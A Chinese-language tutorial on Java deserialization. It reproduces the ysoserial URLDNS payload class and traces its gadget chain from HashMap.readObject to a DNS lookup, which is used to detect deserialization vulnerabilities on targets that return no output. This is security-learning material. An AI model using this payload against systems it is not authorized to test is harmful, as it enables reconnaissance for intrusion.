目录
本文基于P大的《java安全漫谈》
环境jdk1.7
urldns是学习JAVA反序列化的入门利用链
0x01 URLDNS
URLDNS 就是ysoserial中⼀个利⽤链的名字，但准确来说，这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令，⽽仅为⼀个URL，其能触发的结果也不是命令执⾏，⽽是⼀次DNS请求。
- 使⽤Java内置的类构造，对第三⽅库没有依赖
- 在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞
我们打开URLDNS.java看看ysoserial是如何⽣成 URLDNS 的代码的：
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
0x02 利用链分析
看到 URLDNS 类的 getObject ⽅法，ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象，这个对象就是最后将被序列化的对象，在这⾥是 HashMap 那么，我们可以直奔 HashMap 类的 readObject ⽅法
// 来源：java.util.HashMap
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {
...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
// hash(key)，计算key的hash
putVal(hash(key), key, value, false, false);
}
}
}
hash ⽅法调⽤了key的 hashCode() ⽅法：
// 来源：java.util.HashMap
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象，我们看看其 hashCode ⽅法
// 来源：java.net.URL
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
此时， handler 是 URLStreamHandler 对象（的某个⼦类对象），继续跟进其 hashCode ⽅法：
// 来源：java.net.URLStreamHandler
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
....
}
继续跟getHostAddress(u)
// 来源：java.net.URL
synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}
if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}
这⾥ InetAddress.getByName(host) 的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次DNS查询。
所以，⾄此，整个 URLDNS 的Gadget其实清晰⼜简单：
HashMap->readObject()HashMap->hash()URL->hashCode()URLStreamHandler->hashCode()URLStreamHandler->getHostAddress()InetAddress->getByName()
从反序列化最开始的 readObject ，到最后触发DNS请求的 getByName ，只经过了6个函数调⽤，这在Java中其实已经算很少了。
要构造这个Gadget，只需要初始化⼀个 java.net.URL 对象，作为 key 放在 java.util.HashMap中；然后，设置这个 URL 对象的 hashCode 为初始值 -1 ，这样反序列化时将会重新计算其 hashCode ，才能触发到后⾯的DNS请求，否则不会调⽤ URL->hashCode() 。